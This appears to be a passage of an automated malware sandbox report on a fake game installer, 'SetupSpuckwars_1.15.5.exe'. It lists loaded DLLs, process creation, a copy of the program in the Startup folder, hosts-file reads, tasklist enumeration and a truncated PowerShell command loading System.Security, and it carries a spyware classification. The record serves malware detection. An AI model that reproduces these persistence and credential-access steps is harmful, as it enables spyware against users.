Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: inputhost.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: twinapi.appcore.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: twinapi.appcore.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: wtsapi32.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: winsta.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: mscms.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: coloradapterclient.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: mmdevapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: devobj.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: rasadhlp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: fwpuclnt.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: mpr.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: framedynos.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: dbghelp.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: wbemcomn.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: winsta.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: amsi.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: profapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: ffmpeg.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: uiautomationcore.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: dbghelp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: winmm.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: version.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: userenv.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: dwrite.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: secur32.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: dhcpcsvc.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: propsys.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: powrprof.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: umpdc.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: dxgi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: resourcepolicyclient.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: mf.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: mfplat.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: rtworkq.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: msmpeg2vdec.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: mfperfhelper.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: dxva2.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: msvproc.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: dwmapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: ffmpeg.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: uiautomationcore.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: dbghelp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: winmm.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: version.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: userenv.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: dwrite.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: secur32.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: dhcpcsvc.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: propsys.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: powrprof.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: umpdc.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: ntmarta.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: kbdus.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: nlaapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: dhcpcsvc6.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: rasadhlp.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: mpr.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: framedynos.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: dbghelp.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: wbemcomn.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: winsta.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: amsi.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: mshtml.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: powrprof.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: wkscli.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: umpdc.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: urlmon.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: msiso.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: srpapi.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: msimtf.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: dxgi.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: resourcepolicyclient.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: textinputframework.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: coreuicomponents.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: coremessaging.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: ntmarta.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: dataexchange.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: d3d11.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: dcomp.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: twinapi.appcore.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: jscript9.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: mpr.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: scrrun.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: sxs.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: textshaping.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: msls31.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: d2d1.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: dwrite.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: d3d10warp.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: dxcore.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\spuckwars.exeSection loaded: ffmpeg.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\spuckwars.exeSection loaded: uiautomationcore.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\spuckwars.exeSection loaded: dbghelp.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\spuckwars.exeSection loaded: winmm.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\spuckwars.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\spuckwars.exeSection loaded: version.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\spuckwars.exeSection loaded: userenv.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\spuckwars.exeSection loaded: dwrite.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\spuckwars.exeSection loaded: secur32.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\spuckwars.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\spuckwars.exeSection loaded: dhcpcsvc.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\spuckwars.exeSection loaded: propsys.dllJump to behavior
Source: SetupSpuckwars_1.15.5.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
Source: classification engineClassification label: mal52.adwa.spyw.winEXE@35/108@6/5
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeFile created: C:\Users\user\AppData\Roaming\spuckwarsJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6656:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7212:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5788:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6148:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7408:120:WilError_03
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile created: C:\Users\user\AppData\Local\Temp\nss2E12.tmpJump to behavior
Source: SetupSpuckwars_1.15.5.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile read: C:\Users\desktop.iniJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile read: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeJump to behavior
Source: unknownProcess created: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe "C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe"
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeProcess created: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "tasklist"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe "C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe" --type=gpu-process --user-data-dir="C:\Users\user\AppData\Roaming\spuckwars" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1624 --field-trial-handle=1692,i,9078033597839116286,17883878093314677188,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe "C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Roaming\spuckwars" --mojo-platform-channel-handle=2024 --field-trial-handle=1692,i,9078033597839116286,17883878093314677188,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "tasklist"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; 